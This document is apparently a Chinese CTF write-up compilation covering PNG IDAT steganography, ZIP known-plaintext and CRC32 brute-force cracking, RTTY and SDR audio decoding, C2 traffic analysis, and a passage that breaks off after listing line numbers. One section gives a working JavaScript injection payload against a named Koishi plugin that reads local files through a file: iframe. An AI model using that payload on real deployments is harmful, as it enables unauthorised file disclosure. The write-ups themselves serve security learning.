29a1d46b24
76e932486d
6e754f5708
dcac0fe11c
cd293bcc8f
436ddda3b1
482acb4306
10fb022001
06ac1cfd2c
ece2b7c2cc
035a9fe041
0a80d705aa
95853e1a82
334b27aa0b
cc63de45a6
1190a07435
a6964a9e9f
8ffe2cf475
e886d842f6
b115b2a76e
9ff4fdbb08
bc56b8e3d1
f51e555dea
37c513840d
cb3cfd306f
6a85bb2a79
c95edec6a1
144cdd6907
37435834d5
be2ef2f088
9762b12483
48a934fbbc
583c0fe539
e23b4d26c5
a675cc6d18
ee725a199d
2924cf7498
f098925c8f
b1d7fa5e9c
8c16e7e886
6673a2b851
5f6f2ae846
2b8ee9d9b1
d47c100c09
b6558b369a
1a6c629dd3
cae679ca76
d54de60f04
8a89a508e9
e81b987b14
2511f78277
b947ecc874
d232d64c6f
54bc5b34b9
b7b054882e
6ecb18c5c5
6fee3dd535
3563bd2541
82d7b450c3
3edc1c792a
211c053b6d
8cad83b288
af38dbdf2e
c623f7b61d
767d590b9d
9d82939d41
ca36bb065a
05c53cc066
319c3e2d5d
b1450cfdbe
c696123f5a
0495e1b497
3810d8facc
f9ebe5beb7
63d619da1a
053f6512af
fbdf687f14
9ae3eb5445
f367aeb6be
86e01b0914
40da7bfbe0
bfaa255a7d
ff02b2cf44
c227023fe5
a7fc73e4b7
3fbefffe1f
5ff2182953
6534ce2e86
f6bf9e6cb8
817ca287a0
38fa16f9f8
fc1f1919c8
befdabd3d5
d58856218e
df7dfef30b
57f02b833b
ffa6360000
000049454e
44ae426082



89504e470d
0a1a0a0000
000d494844
5200000064
0000006408
02000000ff
8002030000
003a494441
54789c0dc8
c109c03008
05d055fe00
c529ba4808
62a5108315
82b74ed3c1
3289bd3eb1
8006e1e4ee
394387ecf7
4372bb8edf
b1ccef870a
0d610e2b0d
1dbe690000
000049454e
44ae426082


89504e470d
0a1a0a0000
000d494844
5200000064
0000006408
02000000ff
8002030000
0032494441
54789c0540
510d805008
ac7209a861
8157e0d4db
7043f880fa
1fecaa7a0d
c739f8c56c
8c0b8f3353
81afd1c33b
640b0f280d
bc9c6d025f
0000000049
454e44ae42
6082



89504e470d
0a1a0a0000
000d494844
5200000064
0000006408
02000000ff
8002030000
0044494441
54789c1dc7
c109803010
04c056b600
490f56e15b
c872170817
58a3909f6d
d89e9544fc
cdac55c5bc
276ccee045
61b4f3bd1f
11e29ec782
8391d1fd7f
fd50c2d204
3b6714658f
fd21a50000
000049454e
44ae426082


89504e470d
0a1a0a0000
000d494844
5200000064
0000006408
02000000ff
8002030000
005e494441
54789c0dcb
b10dc3300c
44d1556e80
202b648934
296df96012
9044833ac1
c8f656f3aa
ffbf4694c8
855fc6c4ed
b56227945b
1fcd251e90
65ccd31033
31589242b1
ad77d6377e
31916c6cfb
9a2d6e2870
ace67f09ae
17d24fd3e7
0193812576
37cac13300
0000004945
4e44ae4260


89504e470d
0a1a0a0000
000d494844
5200000064
0000006408
02000000ff
8002030000
004b494441
54789c3dca
3111853010
04502bab20
3ea8285090
49165271cc
fe3bfea4c3
06f650122a
eaf7e615c5
423f264ccf
759fc4660e
6fc4212bac
2142ccb527
2c9ee5f837
eee8166ffe
680097a21a
9de6acc0a6
0000000049
454e44ae42
6082


89504e470d
0a1a0a0000
000d494844
5200000064
0000006408
02000000ff
8002030000
0049494441
54789c0540
c109c42010
6c652ab089
dc2775e898
2cc8ae0c2a
f8bb22aec2
ab443ee14c
b84244b6fe
52a8b3b50d
31d3164bc2
ed838f6c6c
2ccaaab1fc
bf3f0fe490
661f169e0e
7ab51a9d10
4393060000
000049454e
44ae426082

89504e470d
0a1a0a0000
000d494844
5200000064
0000006408
02000000ff
8002030000
003c494441
54789c0dc8
310d80500c
04502ba7a0
1ed080820b
34a501ae0b
0cdd508330
947cd637f3
745c85aedb
3069c5e6fd
3d2f94cbef
3cf65480c1
940d5ae70f
ed65adc4a8
0000000049
454e44ae42
6082

89504e470d
0a1a0a0000
000d494844
5200000064
0000006408
02000000ff
8002030000
0025494441
54789c0580
310d002010
03ad54413d
e001030d5c
18d8ea7ff8
ac57b8d6ce
4727c50339
f506054df9
d080000000
0049454e44
ae426082

89504e470d
0a1a0a0000
000d494844
5200000064
0000006408
02000000ff
8002030000
003a494441
54789c0dc8
c10d804008
04c056b602
daf0611526
b72a1f3805
a3760fcf99
c57d085672
224fb52370
3dcac4ee77
0761fc1a7c
31b63fa400
7d77105a77
166a1f0000
000049454e
44ae426082


89504e470d
0a1a0a0000
000d494844
5200000064
0000006408
02000000ff
8002030000
0038494441
54789c0540
b10d804008
5ce5266092
5fc092e2a2
240a059768
e91aaee724
64a31f8645
fdefd7c812
6e0fa10b67
e58ee42328
2eda00482e
0f5deadeb3
d900000000
49454e44ae
426082


89504e470d
0a1a0a0000
000d494844
5200000064
0000006408
02000000ff
8002030000
001b494441
54789c0580
c11000000c
c35446509f
51e4d3fae7
9e5d21020d
6002dea94f
d8c4000000
0049454e44
ae426082

进行分析,发现每一个png均是IDAT块隐写,数据隐藏在IDAT块中,写脚本提取所有数据内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
import struct
import zlib
import binascii

def parse_png_data(hex_data):
"""解析PNG数据并提取IDAT块"""
# 将十六进制字符串转换为字节
png_bytes = bytes.fromhex(hex_data)

# PNG文件头
png_header = png_bytes[:8]

# 查找所有IDAT块
idat_chunks = []
offset = 8 # 跳过PNG文件头

while offset < len(png_bytes):
# 读取块长度 (4 bytes)
if offset + 4 > len(png_bytes):
break
chunk_length = struct.unpack('>I', png_bytes[offset:offset+4])[0]
offset += 4

# 读取块类型 (4 bytes)
if offset + 4 > len(png_bytes):
break
chunk_type = png_bytes[offset:offset+4]
offset += 4

# 读取块数据
if offset + chunk_length > len(png_bytes):
break
chunk_data = png_bytes[offset:offset+chunk_length]
offset += chunk_length

# 读取CRC (4 bytes)
if offset + 4 > len(png_bytes):
break
crc = png_bytes[offset:offset+4]
offset += 4

# 如果是IDAT块,保存数据
if chunk_type == b'IDAT':
idat_chunks.append(chunk_data)

return idat_chunks

def analyze_idat_data(idat_data):
"""分析解压后的IDAT数据"""
try:
# 解压IDAT数据
decompressed = zlib.decompress(idat_data)

# 原始字节数据
raw_bytes = decompressed

# ASCII表示(将可打印字符显示,不可打印字符显示为点)
ascii_repr = ''.join(chr(b) if 32 <= b <= 126 else '.' for b in raw_bytes)

return raw_bytes, ascii_repr
except Exception as e:
return None, f"解压错误: {e}"

def main():
# 读取文件
with open('111.txt', 'r') as f:
content = f.read().strip()
#content = input()
# 按89504e47分割PNG数据
png_marker = '89504e47'
png_hex_strings = content.split(png_marker)

# 第一个元素可能是空的,从第二个开始处理
png_data_list = []
for hex_str in png_hex_strings[1:]:
# 重新添加PNG标记
full_png_hex = png_marker + hex_str
png_data_list.append(full_png_hex)

print(f"找到 {len(png_data_list)} 个PNG文件")

# 处理每个PNG
for i, png_hex in enumerate(png_data_list, 1):
print(f"\n{'='*60}")
print(f"PNG #{i}")
print(f"{'='*60}")

try:
# 提取IDAT块
idat_chunks = parse_png_data(png_hex)

if not idat_chunks:
print("未找到IDAT块")
continue

print(f"找到 {len(idat_chunks)} 个IDAT块")

# 合并所有IDAT块数据
all_idat_data = b''.join(idat_chunks)

# 分析IDAT数据
raw_data, ascii_repr = analyze_idat_data(all_idat_data)

if raw_data is not None:
print(f"解压后数据长度: {len(raw_data)} 字节")
print(f"原始数据 (hex): {raw_data.hex()[:1000]}...") # 只显示前100个字符
print(f"ASCII表示: {ascii_repr[:2000]}...") # 只显示前200个字符

# 详细分析数据格式
print("\n数据格式分析:")
print(f" 数据字节数: {len(raw_data)}")
print(f" 可打印ASCII字符数: {sum(1 for c in ascii_repr if c != '.')}")
print(f" 非打印字符数: {sum(1 for c in ascii_repr if c == '.')}")

# 尝试检测数据类型
if len(raw_data) > 0:
first_byte = raw_data[0]
print(f" 第一个字节: 0x{first_byte:02x} ({first_byte})")

else:
print(f"分析失败: {ascii_repr}")

except Exception as e:
print(f"处理PNG #{i}时出错: {e}")

if __name__ == "__main__":
main()

得到的是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
True. Anyway, before I forget...how...s that side project you were working on? The one you wouldn...t shut up about months ago....
Still alive... barely. Progress is slow, but steady. You know me...I don...t give up easily....
Good. I hope it pays off one day....
Thanks. Alright... I...m guessing you didn...t ping me just to chat?...
Well, half of it was. It...s been a while. But yes...I do have something for you today. Before sending the core cipher, I...ll transmit an encrypted archive first. It contains a sample text and the decryption rules....
Okay. What...s special about this sample text?...
And... inside the sample text, I used my favorite Herobrine legend...you know the one I always bring up....
Of course I know. The hidden original text from that weird old site, right?...
What can I say...old habits die hard. Anyway, the important part: the sample packet and the core cipher are encrypted with the same password....
Got it. So if I can decrypt the sample, the real one should be straightforward....
Exactly. Send the sample when ready....
I...m ready. Go ahead....
UEsDBBQAAQAIABtFeFu1Ii0dcwAAAHwAAAAJAAAAcnVsZXMudHh07XuRBFDbojGKhAz59VaKEpwD6/rKaZnqUxf+NMH0rybWrAMPewZ/yGyLrMKQjNIcEbPAxjmP5oTh8fP77Vi1wnFwzN37BmrQ9SCkC27FC/xeqbgw/HWcDpgzsEoiNpqT9ZThrbAScyg5syfJmNactjelNVBLAwQUAAEACACGOXhbpdvG1ysBAAAVAgAACgAAAHNhbXBsZS50eHTA1fy4cMLZwZkTI1mEk88yOXy9rmbTbCNBQOo9hqKQPK6vjZVo9aCtTVflmkKYGV99+51qXbinmG7WGik5UvLJk9MKRosThBCDMHrmjibOCzjzNELwEgEyX8DjqJkSc8pIFwj+oRM3bb4i0GtRxbwqgsxCtgwiKdCVoXVdetN7RKLIQ7DD+Huv/ZptNdd0yRNHis9LEA3loB+IHZ+dK7IknqPh4lYF8JwAjx5/wwp0YAM6Bcec7uAvk6B5t1pEztm1rLl8TjniVz5/bBUTo1LjUXnar/pnm1NvE9EAuxz/s6b+O8/ew7/A4ItdNJGzDudh6YULfiV3pCTXFIbR4GCe4LwkohWZIlAjysA+zLRrgkTDoB10vWdNGdfoBAlLRoUdZ95mS7X5/bXV41BLAQI/ABQAAQAIABtFeFu1Ii0dcwAAAHwAAAAJACQAAAAAAAAAIAAAAAAAAABydWxlcy50eHQKACAAAAAAAAEAGABIv3f82lzcAQAAAAAAAAAAAAAAAAAAAABQSwECPwAUAAEACACGOXhbpdvG1ysBAAAVAgAACgAkAAAAAAAAACAAAACaAAAAc2FtcGxlLnR4dAoAIAAAAAAAAQAYAFP0sZjOXNwBAAAAAAAAAAAAAAAAAAAAAFBLBQYAAAAAAgACALcAAADtAQAAAAA=...
got it. Decrypting... yeah, it works....
Good. That means the channel is stable....
Alright. Whenever you...re ready, send the real thing....
The core cipher will be transmitted through our secret channel. You remember how to decrypt it, right?...
Of course. I...ve got the procedure ready. Start when you...re ready....
Done. Core cipher fully received. Integrity verified...no corruption....
Same to you. And hey... nice talking again....
Agreed. Take care....
Good. Keep things quiet for the next few days....
Yeah. Let...s not wait so long next time....
You too....

分析对话内容:

image-20251202153510814

可以得到以下信息:

  1. 中间这一长串base64是为发送的样本数据包,和真正的核心数据包使用的是同一个密码
  2. 样本数据包里面的示例文本和Herobrine有关
  3. 从32流开始,传输真正的加密核心数据包

导出样本:

image-20251202153850361

传统加密的一个压缩包

查找有关Herobrine的内容,可以在mc wiki中找到对应的内容:

image-20251202154110148

这便是sample.txt的内容

加密的标志位为0x3F,猜测是用7z压缩,进行明文攻击即可破解压缩包:

内部密钥: b47e923c 5aeb49a7 a3cd7af0

解压得到rules:

1
2
3
1.you need to calc the md5 of port to decrypt the core data.

2.The cipher I put in the zip, in segments, has been deflated.

得知端口号的md5即为密钥:

image-20251202155249064

7c365ebfc34003c40033cc47f6116dd1

AES-ECB解密:

image-20251202155637627

得到压缩包:

image-20251202155751716

大小很小,可以使用CRC爆破,写脚本提取所有的数据,进行爆破:

以下脚本来自Lunatic师傅:https://goodlunatic.github.io/posts/353513a/#%E9%A2%98%E7%9B%AE%E5%90%8D%E7%A7%B0-%E6%A0%87%E5%87%86%E7%9A%84%E7%BB%9D%E5%AF%86%E5%8E%8B%E7%BC%A9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import subprocess
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import hashlib
import zipfile

def md5(data):
return hashlib.md5(data).hexdigest()

def aes_ecb_decrypt(ciphertext, key):
if len(ciphertext) % 16 != 0:
ciphertext = ciphertext.ljust((len(ciphertext) + 15) // 16 * 16, b'\x00')
cipher = AES.new(key, AES.MODE_ECB)
decrypted = cipher.decrypt(ciphertext)
return decrypted

def main():
file_path = "capture.pcapng"
crc_list = []

for src_port in range(30012, 30092):
print(f"[+] Processing source port: {src_port}")
aes_key = md5(str(src_port).encode())
print(f"[+] aes_key: {aes_key}")
filter_str = f"tcp.srcport == {src_port}"

command = [
"tshark",
'-r', file_path,
'-T', 'fields',
'-Y', filter_str,
'-e', 'tcp.payload'
]
# print(f"[+] cmd: {command}")
result = subprocess.run(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
output = result.stdout.split()
if not output:
continue

hex_data = "".join(output)
# print(f"[+] hex_data: {hex_data}")
zip_data = aes_ecb_decrypt(bytes.fromhex(hex_data), aes_key.encode())
# print(zip_data)

zip_filename = f"{src_port}.zip"
with open(zip_filename, 'wb') as f:
f.write(zip_data)
try:
with zipfile.ZipFile(zip_filename, 'r') as zf:
file_list = zf.namelist()
if file_list:
target_file = file_list[0]
info = zf.getinfo(target_file)
crc_list.append(hex(info.CRC))
except:
print(f"\033[1;31m[-] Failed to process zip for port {src_port}\033[0m")

print(f"CRC32 list: {crc_list}")

if __name__ == "__main__":
main()

可以得到80个这样的zip

写脚本批量爆破crc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
import binascii

class CRC32Reverse:
def __init__(self, crc32, length, tbl=bytes(range(256)), poly=0xEDB88320, accum=0):
self.char_set = set(tbl) # 支持所有字节
self.crc32 = crc32
self.length = length
self.poly = poly
self.accum = accum
self.table = []
self.table_reverse = []

def init_tables(self, poly, reverse=True):
"""构建 CRC32 表及其反向查找表"""
# CRC32 表构建
for i in range(256):
for j in range(8):
if i & 1:
i >>= 1
i ^= poly
else:
i >>= 1
self.table.append(i)

assert len(self.table) == 256, "CRC32 表的大小错误"

# 构建反向查找表
if reverse:
for i in range(256):
found = [j for j in range(256) if self.table[j] >> 24 == i]
self.table_reverse.append(tuple(found))

assert len(self.table_reverse) == 256, "反向查找表的大小错误"

def calc(self, data, accum=0):
"""计算 CRC32 校验值"""
accum = ~accum
for b in data:
accum = self.table[(accum ^ b) & 0xFF] ^ ((accum >> 8) & 0x00FFFFFF)
accum = ~accum
return accum & 0xFFFFFFFF

def find_reverse(self, desired, accum):
"""查找反向字节序列"""
solutions = set()
accum = ~accum
stack = [(~desired,)]

while stack:
node = stack.pop()
for j in self.table_reverse[(node[0] >> 24) & 0xFF]:
if len(node) == 4:
a = accum
data = []
node = node[1:] + (j,)
for i in range(3, -1, -1):
data.append((a ^ node[i]) & 0xFF)
a >>= 8
a ^= self.table[node[i]]
solutions.add(tuple(data))
else:
stack.append(((node[0] ^ self.table[j]) << 8,) + node[1:] + (j,))

return solutions

def dfs(self, length, outlist=[b'']):
"""深度优先搜索生成字节序列"""
if length == 0:
return outlist
tmp_list = [item + bytes([x]) for item in outlist for x in self.char_set]
return self.dfs(length - 1, tmp_list)

def run_reverse(self):
"""执行 CRC32 反向查找"""
self.init_tables(self.poly)

desired = self.crc32
accum = self.accum
result_list = []

# 处理至少为 4 字节的情况
if self.length >= 4:
patches = self.find_reverse(desired, accum)
for patch in patches:
checksum = self.calc(patch, accum)
# print(f"verification checksum: 0x{checksum:08x} ({'OK' if checksum == desired else 'ERROR'})")
for item in self.dfs(self.length - 4):
patch = list(item)
patches = self.find_reverse(desired, self.calc(patch, accum))
for last_4_bytes in patches:
patch.extend(last_4_bytes)
checksum = self.calc(patch, accum)
if checksum == desired:
result_list.append(bytes(patch)) # 添加符合条件的字节序列
else:
for item in self.dfs(self.length):
if self.calc(item) == desired:
result_list.append(bytes(item)) # 添加符合条件的字节序列
return result_list

def crc32_reverse(crc32, length, char_set=bytes(range(256)), poly=0xEDB88320, accum=0):
obj = CRC32Reverse(crc32, length, char_set, poly, accum)
return obj.run_reverse() # 返回所有结果

def crc32(s):
return binascii.crc32(s) & 0xFFFFFFFF

if __name__ == "__main__":
crc_values =[0xcf60023f, 0x61d8a4f3, 0xb15f099f, 0xb93935f3, 0x56263d91, 0x7c9a17, 0x324af895, 0x64105f13, 0x7aae1d0a, 0x616c6729, 0x2b51c9d4, 0xb6e26299, 0xdff453c4, 0x9331116d, 0x324af895, 0x7c9a17, 0x7e2361b8, 0x7c65dfe1, 0x9e4be534, 0x324af895, 0x821fc2f0, 0x78e8a353, 0xac828282, 0x9e4be534, 0x6504596, 0xcaa8f9df, 0x64dc7498, 0x779f2fbd, 0x7b27b1d3, 0xcb9596dc, 0xaab6455d, 0xb72008ae, 0xb3ad741c, 0xa10773ef, 0x2b9de25f, 0x9b04f3b1, 0x48f88f87, 0xac828282, 0x821fc2f0, 0x6a2254af, 0xcaa8f9df, 0x3e3e4d70, 0x7b91940, 0x3c78f329, 0xe435b9ad, 0x6847643, 0x2c944a83, 0xc4a9dcdc, 0x9c0d5b6d, 0xa341cdb6, 0x358f7bc2, 0x13f3eab9, 0x6193621d, 0x159ed4a, 0x69a680c1, 0x4fb4a8, 0x70968761, 0x2f60fc5, 0x3937e5ac, 0x9b04f3b1, 0x1d26fc6f, 0x95fad386, 0x3937e5ac, 0x37c9c59b, 0xa341cdb6, 0xeb09f3ad, 0xa448656a, 0xab742f6a, 0x2090af1, 0xe435b9ad, 0xb26f1e2b, 0xecd468a4, 0x26cc20e7, 0x1ea22801, 0x64dc7498, 0x638602f4, 0x26b4c8b6, 0x61d8a4f3, 0xb15f099f, 0x88a078ba]

# print(len(crc_list))
res = b""
for item in crc_values:
res += crc32_reverse(item, 4)[0]
print(res)
with open("res.bin",'wb') as f:
f.write(res)

这里要注意最后一个压缩包中的 txt 是 3 字节,需要单独处理一下

最后得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
53 29 00 00 CB AE 02 00 CB 2C 00 00 53 31 04 00
D3 32 04 00 D3 32 02 00 D3 32 00 00 D3 32 06 00
33 D5 02 00 33 B2 04 00 D3 32 01 00 33 34 06 00
33 4D 04 00 33 4F 03 00 D3 32 00 00 D3 32 02 00
33 D3 02 00 33 D0 02 00 33 36 05 00 D3 32 00 00
33 31 04 00 33 D6 02 00 4B B6 00 00 33 36 05 00
B3 48 06 00 4B B5 04 00 4B 35 03 00 B3 30 05 00
B3 48 03 00 33 34 03 00 33 33 07 00 33 35 06 00
33 33 06 00 33 4F 01 00 4B 35 04 00 33 31 05 00
4B 31 00 00 4B B6 00 00 33 31 04 00 4B 4E 05 00
4B B5 04 00 4B 4D 03 00 4B 31 07 00 4B 4E 03 00
33 32 00 00 33 B0 00 00 4B 31 04 00 33 4E 05 00
33 35 05 00 33 4C 01 00 4B 31 05 00 B3 30 01 00
4B 32 03 00 B3 4C 06 00 4B 4C 05 00 33 B5 00 00
B3 34 05 00 4B 36 07 00 4B 49 03 00 33 31 05 00
4B 33 06 00 33 4A 03 00 4B 49 03 00 4B 32 05 00
33 4C 01 00 33 48 06 00 33 48 01 00 33 32 07 00
33 B6 00 00 33 32 00 00 33 32 06 00 B3 B4 00 00
B3 34 03 00 4B 31 06 00 4B 35 03 00 D3 52 01 00
D3 2F 00 00 CB AE 02 00 CB 2C 00 00 53 01 00

上面的数据按每4字节一组解压,可以得到一个zip的hash:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import zlib

hex_data = "53290000CBAE0200CB2C000053310400D3320400D3320200D3320000D332060033D5020033B20400D332010033340600334D0400334F0300D3320000D332020033D3020033D0020033360500D33200003331040033D602004BB6000033360500B34806004BB504004B350300B3300500B348030033340300333307003335060033330600334F01004B350400333105004B3100004BB60000333104004B4E05004BB504004B4D03004B3107004B4E03003332000033B000004B310400334E050033350500334C01004B310500B33001004B320300B34C06004B4C050033B50000B33405004B3607004B490300333105004B330600334A03004B4903004B320500334C010033480600334801003332070033B600003332000033320600B3B40000B33403004B3106004B350300D3520100D32F0000CBAE0200CB2C0000530100"

data = bytes.fromhex(hex_data)

chunks = [data[i:i+4] for i in range(0, len(data), 4)]

out = b""
for c in chunks:
try:
out += zlib.decompress(c, -zlib.MAX_WBITS)
except:
print("bad chunk:", c.hex())

print(out.decode())
1
$pkzip$1*1*2*0*35*29*4135a7f*0*26*0*35*0413*c8358ce9e6858f166753637de145d0c841cee9efd7cf2008d13e551dd584b69cae5895c7df45f32fdfb51d0c0d273820239896d3e6*$/pkzip$

参考2025 buckeyeCTF-zip2john2zip wp:

https://github.com/cscosu/buckeyectf-2025-public/blob/master/forensics/zip2john2zip/solve/solve.py

已知三个内部密钥和哈希值,还原zip并解压缩:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python3

def pkcrc(x, b):
x = (x ^ b) & 0xFFFFFFFF
for _ in range(8):
if x & 1:
x = (x >> 1) ^ 0xedb88320
else:
x >>= 1
return x & 0xFFFFFFFF


def decrypt_stream_with_keys(enc, key0, key1, key2):

def _update_keys(byte_val):
nonlocal key0, key1, key2
key0 = pkcrc(key0, byte_val)
temp = (key1 + (key0 & 0xff)) & 0xFFFFFFFF
key1 = (((temp * 0x08088405) & 0xFFFFFFFF) + 1) & 0xFFFFFFFF
key2 = pkcrc(key2, (key1 >> 24) & 0xff)

def _get_keystream_byte():
nonlocal key2
temp = (key2 & 0xFFFF) | 3
return (((temp * (temp ^ 1)) & 0xFFFF) >> 8) & 0xff

out = bytearray()
for e in enc:
ks = _get_keystream_byte()
d = e ^ ks
out.append(d)
_update_keys(d)

return bytes(out)


if __name__ == "__main__":
# your recovered keys:
k0 = 0xb47e923c
k1 = 0x5aeb49a7
k2 = 0xa3cd7af0

# encrypted data from $pkzip$ hash
hash_text = "$pkzip$1*1*2*0*35*29*4135a7f*0*26*0*35*0413*c8358ce9e6858f166753637de145d0c841cee9efd7cf2008d13e551dd584b69cae5895c7df45f32fdfb51d0c0d273820239896d3e6*$/pkzip$"
enc_hex = hash_text.split('*')[12] # not 13 !
enc = bytes.fromhex(enc_hex)

plain = decrypt_stream_with_keys(enc, k0, k1, k2)
print(plain)

得到flag:

b'\xcf\xecP\x1f\x89\x9e\x83q1"\xa4\x04flag{W0ww_th3_C@ske7|s_Tre4sur3_unl0cke9}'

猫咪电台

给了png和wav两个附件

png存在LSB隐写,按照BRG通道顺序提取得到flag0图片:

1
flag part0: ==gNWRWTFRjY4IGV4sGczg0QzAFUyQTQ

image-20251202163630987

flag0: Ci4l10~

在1.wav文件尾后发现压缩包:

image-20251202163831186

解压需要密码

删除文件尾部的zip后,查看wav信息:

image-20251202164023354

用Audacity导入原始数据:

image-20251202164244753

其频谱图是两条清晰的频率,判断为RTTY

RTTY使用两种频率来代表两种不同的信号状态:Mark 和 Space。

Mark频率(通常为较低频率)对应“1”。

Space频率(通常为较高频率)对应“0”。

在传输时,信号会在这两种频率之间切换,形成一个类似于“0”和“1”的二进制模式。

解码得到password和flag1:

image-20251202164506021

使用密码解压2.wav:

采样率非常高,猜测是 SDR(软件定义无线电) 捕获的无线信号数据,因此使用 SDR# (SDRSharp) 进行解析

image-20251202224618694

得到flagpart2

_CAT9LIVES

因此flag:

flag{Ci4l10~R77YM30W1SFUN_CAT9LIVES}

RCTF 2025

本次队伍排名:23

复现参考:https://su-team.cn/posts/63a9ee12.html

Asgard Fallen Down

先找到建立连接的流量:

image-20251121125112113

解码这里的数据:

image-20251121125344561

发现了第一道题中,后门寄生的进程

同时下面响应有几个base64字符串(build,version)

根据长度判断,是AES的key和iv

build: 20251115-VdmEJO6SDkVWYkSQD4dPfLnvkmqRUCvrELipO14dfVs=

version: 1.2.3-EjureNfe2IA6jFEZEih84w==

紧接着下面我们能发现一条加密的数据,使用key和iv进行解密:

image-20251121125755788

image-20251121130038893

得到执行的命令: spawn whoami

在之后的请求里得到命令执行结果:

image-20251121130341639

image-20251121130324374

可以发现整个流量的模式:

1
2
3
第N次请求 → 响应HTML中的build注释包含要执行的命令 两次base64

第N+1次请求 → 通过特殊header回传命令执行结果 一次base64

这样整个流量就清晰许多了

整个流丢给ai分析,可以得到心跳间隔10s:

image-20251121131322448

Challenge 3: The Heart of Iron:
继续解码分析即可:

image-20251121132028131

image-20251121132016390

image-20251121132107081

image-20251121132222820

Challenge 4: Odin’s Eye

搜索关键词build:20251115可在2787流中找到本题的执行命令

image-20251121132455168

image-20251121132520263

之后有很多大块的响应包,是图片的分段传输:

image-20251121133059835

image-20251121133201076

得到图片,工具是无影:TscanPlus

Wanna Feel Love

第一问,为垃圾邮件隐写

image-20251121133549794

使用:https://www.spammimic.com/decode.cgi

工具进行解密即可。

第二问,使用OpenMPT打开后,可以看懂5:feel

image-20251121133615599

黑为0红为1

解码后得到I Feel Fantastic heyheyhey

因为红黑色宽度不一,所以当时没往这里想……<(_ _)>

514

找到插件:

https://github.com/araea/koishi-plugin-pjsk-pptr

其中pjsk在截图时调用了puppeteer进行渲染,设定的text未经过滤

1
2
3
4
5
6
/ koishi-plugin-pjsk-pptr/src/index.ts:L1084-L1088
const canvas = document.getElementById("myCanvas");
const context = canvas.getContext('2d');
const text = '${text}';
const x = ${specifiedX};
const y = ${specifiedY};

此处直接把用户输入拼进 html,且 url为 file: 协议,可以构造 iframe 实现本地任意文件读取。

payload:

pjsk 绘制 ';const b=String.fromCharCode(47);const a=document.createElement('iframe');a.setAttribute('src','file:'+b+b+b+'flag');a.setAttribute('style','position: fixed;top: 0;left: 0;background: white;');document.body.appendChild(a);'

强网杯S9

复现参考:https://blog.xmcve.com/2025/10/20/%E5%BC%BA%E7%BD%91%E6%9D%AFS9-Polaris%E6%88%98%E9%98%9FWriteup/#title-19

谍影重重 6.0

附件一个流量包和一个加密压缩包,很显然需要我们分析流量找到密码

image-20251028130726483

流量包传输的是音频(根据题目提示以及流量包分析),因此需要想办法提取出音频来.

在电话-RTP流中可以看到传输的数据:

image-20251031191432813

play streams → export – from cursor就可以导出数据

image-20251031191936908

但是导出发现声音很小,并且我们也不能这样一个个导出,太吃操作了。

因此需要一个脚本来辅助我们。

这里借用一下Polaris战队的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
